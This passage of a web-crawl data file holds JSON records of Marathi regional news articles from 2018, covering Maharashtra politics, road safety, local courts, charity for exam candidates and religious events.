यांनी केला. मुख्यमंत्र्यांनी कामकाज सल्लागार समितीत कर्जमाफीबद्दल दिलेला शब्द पाळला नाही, अशी टीकाही त्यांनी केली.\nदरम्यान, संसदीय कामकाजमंत्री गिरीश बापट यांनी मुख्यमंत्र्यांनी विधानसभेत निवेदन केलेले आहे. याबाबत आरोप-प्रत्यारोप केले जाऊ नयेत. पुढील दोन दिवसांत याबाबतची अधिक माहिती घेऊन सभागृहासमोर निवेदन केले जाणार असल्याची ग्वाही दिली; मात्र बापट यांच्या निवेदनाने समाधान न झाल्याने विरोधकांचा गोंधळ सुरूच राहिला. त्यामुळे सभापतींनी कामकाज दिवसभरासाठी स्थगित केले. त्यापूर्वी कामकाज सुरू होताच याच मुद्द्यावर कामकाज एका तासासाठी तहकूब करण्यात आले होते.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00426.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/satara-traffic-easy-due-to-zebra-crossing-white-bars/", "date_download": "2018-09-25T16:53:05Z", "digest": "sha1:GAIMHDSNSJ3QZ2RUSGYGDCTTJ77DMHE2", "length": 6932, "nlines": 50, "source_domain": "www.pudhari.news", "title": " झेब्रा क्रॉसिंग, पांढर्‍या पट्ट्यांमुळे वाहतूक सुलभ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › झेब्रा क्रॉसिंग, पांढर्‍या पट्ट्यांमुळे वाहतूक सुलभ\nझेब्रा क्रॉसिंग, पांढर्‍या पट्ट्यांमुळे वाहतूक सुलभ\nशहरातील रस्त्यावर झेब्रा क्रॉसिंग, पांढर्‍या पट्ट्या ओढण्यास पालिका प्रशासनाने सुरुवात केली आहे. दै. ‘पुढारी’ने प्रसिद्ध केलेल्या ‘शहरातून झेब्रा क्रॉसिंग, पांढर्‍या पट्ट्या गायब’ या वृत्ताची गंभीर दखल घेत पालिका प्रशासनाने उपाययोजनांना प्रारंभ केला आहे.\nगेल्या काही दिवसांपासून पोवई नाक्यावर झेब्रा क्रॉसिंग, पांढर्‍या पट्ट्या गायब झाल्या होत्या. त्यामुळे वाहनधारकांना झेब्रा क्रॉसिंगच दिसत नव्हते. सिग्नलच्या ठिकाणीही झेब्रा क्रॉसिंग तसेच पांढर्‍या पट्ट्या दिसत नव्हत्या. त्यामुळे वाहनधारकांची चांगलीच पंचायत होत होती. अनेक वाहनधारकांना पट्ट्याच दिसत नसल्यामुळे दंडालाही सामोरे जावे लागत होते. दै.‘पुढारी’ने याबाबत वृत्त दिले तसेच वाहतूक पोलिस शाखेने देखील याबाबत पालिका प्रशासनाला वेळोवेळी निवेदने दिली होती. त्याची दखल घेऊन पालिका प्रशासनाने पोवई नाक्यावरुन राजवाड्याकडे जाणार्‍या रस्त्यावर तसेच पोवई नाक्यावरुन शाहू चौकाव्दारे राजवाड्याकडे जाणार्‍या रस्त्यावर पांढर्‍या पट्ट्या आखण्याचे काम सुरु आहे. पोवई नाक्यावर सर्वत्र झेब्रा क्रॉसिंग पट्ट्या आखण्यात आल्या.त्यामुळे वाहनधारक सिग्नल लागताच झेब्रा क्रॉसिंगवर थांबू लागले. नागरिक येता जाता नाक्यावरील झेब्रा क्रॉसिंगचा वापर करु लागल्याचे आता दिसू लागले आहे.\nशहरात पांढर्‍या पट्ट्या व झेब्रा क्रॉसिंग आखण्यास सुरुवात केली असल्यामुळे वाहनधारकांबरोबर वाहतूक पोलिसांचा त्रास कमी झाला आहे तसेच वाहनधारकांची होणारी फसगतही आता थांबणार असल्यामुळे पालिका प्रशासनाच्या या मोहिमेबद्दल नागरिकांतून समाधान व्यक्त केले जात आहे.\nलोणंदला दोन गटांत तुंबळ हाणामारी\nऊस वाहतुकीला कधी लागणार शिस्त\nबंद अपार्टमेंट पायर्‍यांवर ‘बार’\nझेब्रा क्रॉसिंग, पांढर्‍या पट्ट्यांमुळे वाहतूक सुलभ\n'वीजपुरवठा सुरळीत न झाल्यास कार्यालय पेटवू'(व्‍हिडिओ)\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00426.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/BJP-Z-P-member-Gopal-ankusarava-slander-for-court/", "date_download": "2018-09-25T17:19:08Z", "digest": "sha1:QNJ2TME56OLXLMNT3JWTA7POOU4EGG33", "length": 4379, "nlines": 35, "source_domain": "www.pudhari.news", "title": " भाजपचे जि. प. सदस्य गोपाळ अंकुशराव न्यायालयात शरण | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › भाजपचे जि. प. सदस्य गोपाळ अंकुशराव न्यायालयात शरण\nभाजपचे जि. प. सदस्य गोपाळ अंकुशराव न्यायालयात शरण\nगेल्या एक वर्षापासून पोलिसांच्या हातावर तुरी देऊन, फरार असूनही गोपाळपूर जि. प. गटातून बिनविरोध निवडून आलेले भाजपचे जिल्‍हा परिषद सदस्य गोपाळ अंकुशराव न्यायालयात शरण आले. जिल्हा सत्र न्यायाधीशांनी त्यांची रवानगी न्यायालयीन कोठडीत केली आहे.\nडिसेंम्बर २०१६ मध्ये शहरातील एका व्यापाऱ्यास मारहाण करून गंभीर जखमी केल्याच्या गुन्ह्यात गोपाळ अंकुशराव आरोपी आहेत. मात्र गुन्हा घडल्‍यापासून अंकुशराव फरार आहेत. पोलिसांनी शोध घेऊनही ते सापडत नव्हते, त्याच दरम्यान अंकुशराव यांनी न्यायालयात जामिनासाठी धाव घेतली होती. जिल्हा सत्र ते सर्वोच्च न्यायालयात जाऊनही जामीन मिळाला नाही. अखेर अंकुशराव यांनी न्यायालयात शरण जाण्याचा निर्णय घेतला आणि मंगळवारी ते शरण आले. त्यांना जिल्हा सत्र न्यायाधीश पी. आर. देशमुख यांनी न्यायालयीन कोठडी सुनावली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00426.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/Solapur-Hyderabad-road-became-the-highway-of-death/", "date_download": "2018-09-25T17:14:31Z", "digest": "sha1:XDEVGGIEQ4FELXBCH2JLO7DBPOOGXP3F", "length": 9242, "nlines": 40, "source_domain": "www.pudhari.news", "title": " सोलापूर-हैदराबाद रस्ता बनला मृत्यूचा महामार्ग | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › सोलापूर-हैदराबाद रस्ता बनला मृत्यूचा महामार्ग\nसोलापूर-हैदराबाद रस्ता बनला मृत्यूचा महामार्ग\nसोलापूर : संतोष आचलारे\nसोलापूर-हैदराबाद या राष्ट्रीय महामार्गाच्या चौपदरीकरणाचे काम काही केल्या पूर्ण होत नसल्याचे दिसून येत आहे. कामाच्या नादात अनेकठिकाणी रस्ता धोकादायक बनला आहे. जागोजागी खड्डेच खड्डे पडले असून बोरामणीनजीक सुरू करण्यात आलेल्या पुलाच्या बांधकामाजवळ तर अत्यंत धोकादायक अरूंद रस्ता असल्याने अपघाताची दाट शक्यता निर्माण झाली आहे. ठेकेदाराच्या निष्क्रियतेमुळे महामार्ग चक्‍क मृत्यूचा महामार्ग बनल्याचे दिसत आहे.\nसोलापूर-पुणे-हैदराबाद या राष्ट्रीय महामार्गाचे काम सुरु असतानाच सोलापूर-हैदराबाद या राष्ट्रीय महामार्गाच्या चौपदरीकरणाचे काम हाती घेण्यात आले आहे. मागील तीन वर्षांत या कामाची कोणतीच प्रगती नसून काम करणार्‍या ठेकेदाराची सातत्याने अदलाबदली होत असल्याने महामार्गाच्या कामाची अक्षरश: वाट लागली आहे.\nसुरुवातीपासून सोलापूर ते तांदूळवाडीपर्यंतच्या 20 किलोमीटरला ‘मौत का मार्ग’ असे संबोधण्यात येते. चौपदरीकरणाचे काम सुरु झाल्याने हा मार्ग सर्वांच्या सुरक्षेसाठी उपयुक्‍त ठरेल, अशी अपेक्षा होती. मात्र गत तीन वर्षांत अत्यंत निकृष्ट असे काम याठिकाणी होत असून कामाच्या नादात मूळ रस्त्याचाच बट्ट्याबोळ झाल्याने वाहनचालकांतून संताप व्यक्‍त होत आहे.\nसोलापूर मार्केट यार्डपासून नवीन हैदराबाद जकात नाक्यापर्यंत तर अजून अपेक्षित रस्त्यावरील अतिक्रमणेही काढण्यात आली नाहीत. त्यामुळे हा रस्ता नेमका होणार तरी कधी, असा प्रश्‍न निर्माण झाला आहे. जकात नाक्याच्या पुढे तांदूळवाडीपर्यंत चौपरीकरणाचे काम सुरु करण्यात आले आहे. मात्र हे काम अपेक्षित गतीने व अपेक्षित गुणवत्तेचे नसल्याचे दिसून येत आहे.\nपावसामुळे महामार्गावरील सर्व डांबरीकरणाचे सपाटीकरण झाले आहे. त्यामुळे जागोजागी खड्डेच खड्डे पडले गेले आहेत. रात्रीच्या वेळी हे खड्डे पावसाच्या पाण्यात झाकले जात असल्याने वाहनचालकांना या खड्ड्यांचा अंदाज येत नाही. त्यामुळे महामार्ग आहे असे समजून वेगात असणार्‍या वाहनचालकांचा अचानक ताबा सुटत असल्याचे दिसून येत आहे. दुचाकीस्वारांची तर प्रचंड कसरत होत असून एक दिवसाआड सातत्याने छोटे-मोठे अपघात होत असल्याचे दिसून येत आहे.\nबोरामणीनजिक असणार्‍या जुन्या पुलाच्या ठिकाणी नवीन पुलाचे बांधकाम सुरु करण्यात आले आहे. मात्र यासाठी चांगला पर्यायी रस्ता उपलब्ध करुन देण्यात आला नाही. पुलानजिक असलेल्या अपुर्‍या रस्त्यावर प्रचंड खड्डे व पाणी असल्याने याठिकाणी अपघाताची दाट शक्यता निर्माण झाली आहे. गत महिन्यात या पुलाचे काम पूर्ण होणे अपेक्षित होते. मात्र पावसाच्या सातत्याने हे काम रेंगाळले गेले आहे. यात वाहनधारकांच्या जीवास मात्र मोठा धोका निर्माण झाला आहे.\nमहामार्गाच्या चौपदरीकरणाचे काम करणार्‍या ठेकेदाराची सातत्याने अंतर्गत अदलाबदली होत असल्याने काम संथगतीने व गुणवत्ताहीन होत आहे. त्यामुळे जिल्हाधिकारी डॉ. राजेंद्र भोसले यांनीच येथील परिस्थितीची पाहणी करुन ठेकेदारास तातडीने तात्पुरत्या तरी सुरक्षित उपाययोजना करण्याचे आदेश द्यावेत, अशी मागणी वाहनचालकांकडून होत आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00426.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://www.loksatta.com/nagpur-news/buddhist-minorities-multipurpose-society-manage-food-for-candidates-coming-to-competitive-examination-1663529/", "date_download": "2018-09-25T17:32:41Z", "digest": "sha1:XP5ERLBSSIAFSNMEHWWJADXFU3YFTIML", "length": 17512, "nlines": 209, "source_domain": "www.loksatta.com", "title": "Buddhist Minorities Multipurpose Society manage food for Candidates coming to competitive examination | देणगीतून स्पर्धा परीक्षेसाठी येणाऱ्या उमेदवारांच्या राहण्या-खाण्याची सोय | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nदेणगीतून स्पर्धा परीक्षेसाठी येणाऱ्या उमेदवारांच्या राहण्या-खाण्याची सोय\nदेणगीतून स्पर्धा परीक्षेसाठी येणाऱ्या उमेदवारांच्या राहण्या-खाण्याची सोय\nसोसायटी या उमेदवारांच्या मोफत राहण्या-खाण्याची सोय कुंजीलालपेठेतील बोधीवृक्षनगरातील विहारात करते.\nदेणगीच्या पैशातून ही सोसायटी या उमेदवारांच्या मोफत राहण्या-खाण्याची सोय कुंजीलालपेठेतील बोधीवृक्षनगरातील विहारात करते.\nअशोकाबुद्धिस्ट मायनॉरीटिज मल्टिपरपज सोसायटीचा उपक्रम\nपोलिसांसह इतर अनेक खात्यांतील रिक्त पदांसाठी विविध परीक्षा उपराजधानीत होतात. पैकी बाहेरगावच्या गरीब उमेदवारांकडे पैसे नसल्यास त्यांना रस्त्यांवर उपाशी झोपावे लागते. काही भिक्खूंनी अशोका बुद्धिस्ट मायनॉरिटिज मल्टिपरपज सोसायटीच्या माध्यमातून या उमेदवारांना मदतीचा हात दिला आहे. देणगीच्या पैशातून ही सोसायटी या उमेदवारांच्या मोफत राहण्या-खाण्याची सोय कुंजीलालपेठेतील बोधीवृक्षनगरातील विहारात करते.\nभन्ते हर्षदीप आणि भन्ते अभय यांनी काहींना सोबत घेत समाजातील गरजूंच्या मदतीसाठी अशोका बुद्धिस्ट मायनॉरीटिज मल्टिपरपज सोसायटी स्थापन केली. ही सोसायटी गेल्या अनेक वर्षांपासून अपघातामध्ये जखमी व्यक्ती, रंजल्या-गांजल्यांच्या सेवा करण्यापासून तर चिमुकल्यांवर योग्य संस्कार करत आहे. समाजात अनेक अनाथ गरीब मुले शिक्षणापासून वंचित आहेत, त्यांना आर्थिक मदत केली जाते. शिक्षणच नाही तर मुलांसाठी बुद्धविहारात लायब्ररी, संस्कार केंद्र, भिक्खू निवासाची सोयही सोसासटीकडून कुंजीलालपेठेतील विहारात केली जाते. येथे दानावर जगणारे भंते अनाथ मुलांना पुस्तकांचे दानही येथे करत आहेत. गेल्या चार वर्षांत सात्त्विक विचारातून अनेक मुलांच्या पालनपोषणासह शिक्षणाचा खर्चही येथे केला गेला.\nअनाथांच्या शिक्षणाचा, आरोग्याचा सर्व खर्च करण्यासाठी भदन्त हर्षदीप सदैव पुढे असतात. कुंजीलालपेठेतील बोधीवृक्षनगरात संस्थेने संस्कार केंद्र सुरू केले. त्यातून विद्यार्थ्यांना अभ्यासिका उपलब्ध करून देणे, स्पर्धा परीक्षेचे मार्गदर्शन येथे होते. याशिवाय कोण्या एखाद्या मुलावर शस्त्रक्रियेसाठी मदतीची गरज पडल्यास मदत केली जाते. मेडिकल, सुपरमधील डॉक्टरांशी संपर्क साधून मदत केली जाते. उपराजधानीत २१ ते २८ मार्चला लोहमार्ग पोलिसांतील विविध पदांकरिता शारीरिक चाचणी परीक्षा झाली. त्यात भुसावळ, वाशीम, बुलढाणा, सोलापूरपासून तर अमरावती, गडचिरोली येथील अडीचशे मुले आले होते. त्यातील अनेकांजवळ जेवणाची सोय नसल्याचे भन्ते हर्षदीप आणि भन्ते अभय यांच्या लक्षात आले. सोसायटीच्या माध्यमातून मानवाधिकार संरक्षण मंच तसेच परिवर्तन मंचचे कार्यकर्ते भन्ते बुद्धघोष, नंदवर्धन राऊत, शैलेश वानखेडे, सिद्धार्थ बनसोड, जयंत भगत, संदीप वाघमारे, आशीष चवरे, मंगेश डोंगरे यांच्यासह सर्वच तरुणांना विहारात बोलावले. दोनशे ते अडीचशे मुलांच्या दोन वेळच्या जेवणाची तसेच निवासाची सोय येथे करण्यात आली. तब्बल आठ दिवस ही सेवा केली गेली.\nउपराजधानीत नित्याने विविध खात्याच्या परीक्षा होतात. पहिल्यांदा शहरात या परीक्षेसाठी आलेल्या गरीब मुलांची भेट प्रथम रेल्वेस्थानक किंवा एसटी बसस्थानकावरील ऑटोरिक्षा चालकांशी होते. त्यामुळे बऱ्याच ऑटोरिक्षा चालकांना या उमेदवारांना थेट सोसासटीकडून मदत केली जाणाऱ्या कुंजीलालपेठेतील बुद्ध विहारात आणण्याची विनंती केली आहे. येथे येणाऱ्या बऱ्याच उमेदवारांचे भाडेही सोसायटीकडून दिले जाते. वर्षांला या पद्धतीने सुमारे १०० उमेदवारांना मदत केली जाते.\n– भन्ते अभय नायक, नागपूर.\nगरिबांना रक्त मिळवून देण्यासाठी चमू\n‘‘अशोका सोसायटी विद्यार्थ्यांना अभ्यासिका उपलब्ध करून देण्यापासून तर स्पर्धा परीक्षांसाठी मार्गदर्शन करण्याचे काम करत आहे. प्रामाणिक तरुण मुलांची साथ मिळत असल्यानेच हे शक्य आहे. मेडिकल, सुपरमध्ये गरिबांवर उपचार होतात. अनेक अत्यवस्थ रुग्णाला वेळेवरच रक्ताची गरज भासते. सोसायटीचे सदस्य चमूतून या रुग्णांपर्यंत पोहोचतात. तातडीने रुग्णाला आवश्यक असलेल्या रक्तासाठी एक देणगीदार मिळवून सहज नि:शुल्क रक्त उपलब्ध केले जाते. रुग्णालयात रक्त नसल्यास बाहेरून रक्त खरेदीसाठीही मदत केली जाते.’’\n– भन्ते हर्षदीप, कुंजीलालपेठ, नागपूर.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00426.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Nagaj-for-the-temple-of-aravadi-biroba-four-crore-rupees/", "date_download": "2018-09-25T16:56:06Z", "digest": "sha1:26VM46I4ZQLQCKCI7BAW2KYZE3KIP54N", "length": 6774, "nlines": 49, "source_domain": "www.pudhari.news", "title": " आरेवाडी बिरोबा मंदिरासाठी साडेचार कोटी रुपये देणार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › आरेवाडी बिरोबा मंदिरासाठी साडेचार कोटी रुपये देणार\nआरेवाडी बिरोबा मंदिरासाठी साडेचार कोटी रुपये देणार\nआरेवाडी (ता.कवठेमहांकाळ) येथील श्री बिरोबा मंदिराच्या विकासासाठी साडेचार कोटी रूपये तात्काळ देण्याचे आश्‍वासन पर्यटनमंत्री जयकुमार रावल यांनी दिले. महाराष्ट्र,कर्नाटक व आंध्रप्रदेशातील लाखो भाविकांचे श्रद्धास्थान व धनगर समाजाचे आराध्य दैवत असलेल्या आरेवाडीच्या बिरोबा मंदिर परिसरात पर्यटनस्थळ विकासाच्या दृष्टीने विविध विकासकामे प्रगतीपथावर आहेत.दरम्यान मंदिराच्या विकासासाठी शासनाकडून निधीची आवश्यकता असल्याने बिरोबा देवस्थान ट्रस्टच्या पदाधिकार्‍यांनी आरेवाडी येथील कार्यक्रमात मुख्यमंत्री देवेेंद्र फडणवीस,जलसंपदा मंत्री गिरीश महाजन यांच्याकडे साडेबारा कोटी रूपयांच्या निधीची मागणी केली होती.भाजपचे गोपीचंद पडळकर यांच्या माध्यमातून हा निधी मिळवण्यासाठी देवस्थानच्या पदाधिकार्‍यांचा प्रयत्न सुरू होता.\nना.रावल यांच्या आश्‍वासनामुळे गोपीचंद पडळकर यांच्या पाठपुराव्याला अखेर यश आले आहे.मंदिरासाठी उर्वरित निधीही देण्याची ग्वाही ना.रावल यांनी दिली. गुरूवारी नागपूर येथे झालेल्या बैठकीत साडेचार कोटी रूपयांचा निधी तात्काळ देण्याचे आश्‍वासन पर्यटन मंत्री जयकुमार रावल यांनी देवस्थान ट्रस्टच्या पदाधिकार्‍यांना दिले.जलसंधारण मंत्री राम शिंदे, भाजपाचे गोपीचंद पडळकर, वठेमहांकाळचे माजी उपसभापती जगन्नाथ कोळेकर, बिरोबा देवस्थान ट्रस्टचे अध्यक्ष पै.रावसाहेब कोळेकर, एन.टी.कोळेकर, पोलिस पाटील रामचंद्र पाटील, जयवंतराव सरगर, विनायकराव मासाळ, अण्णा कोळेकर यांच्यासह देवस्थान ट्रस्टचे पदाधिकारी यावेळी उपस्थित होते.\nआरेवाडी बिरोबा मंदिरासाठी साडेचार कोटी रुपये देणार\nअनधिकृत बांधकामांवर हातोडा घाला\nमृतदेह तपासणीची अंतिम प्रक्रिया सुरू\nमोबाईल कंपन्यांच्या चरखोदाईत घोटाळा\nकामटेच्या मामेसासर्‍याच्या घरावर छापा\nबांधकाम सभापती उपअभियंत्यांवर भडकले\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/ashadhi-ekadashi-school-children-perform-dindi-at-satara/", "date_download": "2018-09-25T17:10:15Z", "digest": "sha1:BS5J5P5Y5CMYB6MZ3BSX2FRXHEOSXGRB", "length": 4520, "nlines": 36, "source_domain": "www.pudhari.news", "title": " सातारा : कराडात आषाढी एकादशीनिमित्त चिमुकल्यांची दिंडी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › सातारा : कराडात आषाढी एकादशीनिमित्त चिमुकल्यांची दिंडी\nसातारा : कराडात आषाढी एकादशीनिमित्त चिमुकल्यांची दिंडी\nआषाढी एकादशीनिमित्त सकाळी कराड शहर व परिसरातील शालेय विद्यार्थ्यांनी संत ज्ञानेश्वर, संत एकनाथ, संत तुकाराम, रुक्मिणी यांच्यासह विविध साधु संताच्या वेषभूषा साकारत मंगळवार पेठेतील संत सखुबाई, भाजी मंडई परिसरातील विठ्ठल - रुक्मिणी मंदिरापर्यंत पायी दिंडी काढली.\nसामाजिक समतेचा संदेश आणि पिढ्यानपिढ्या जोपासल्या जाणाऱ्या वारकरी सांप्रदायिक परंपरेचे दर्शन घडवत कराडमधील जनकल्याण प्रतिष्ठान संचलित सरस्वती शिशुवाटिकेतील मुक्तांगण, छोट्या आणि मोठ्या गटातील विद्यार्थ्यांनी संत सखुमाई मंदिरापर्यंत पायी दिंडी काढली. तर पहिली ते चौथीपर्यंतच्या सरस्वती विद्यामंदिरच्या विद्यार्थ्यांनी भाजी मंडई परिसरातील विठ्ठल रुक्मिणी मंदिरापर्यंत अखंड हरिनामाचा गजर करत पायी दिंडी काढली.\nत्याचबरोबर कराड शहरासह तालुक्यातील विविध मंदिरातही दर्शनासाठी दिवसभर गर्दी पहावयास मिळत होती.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 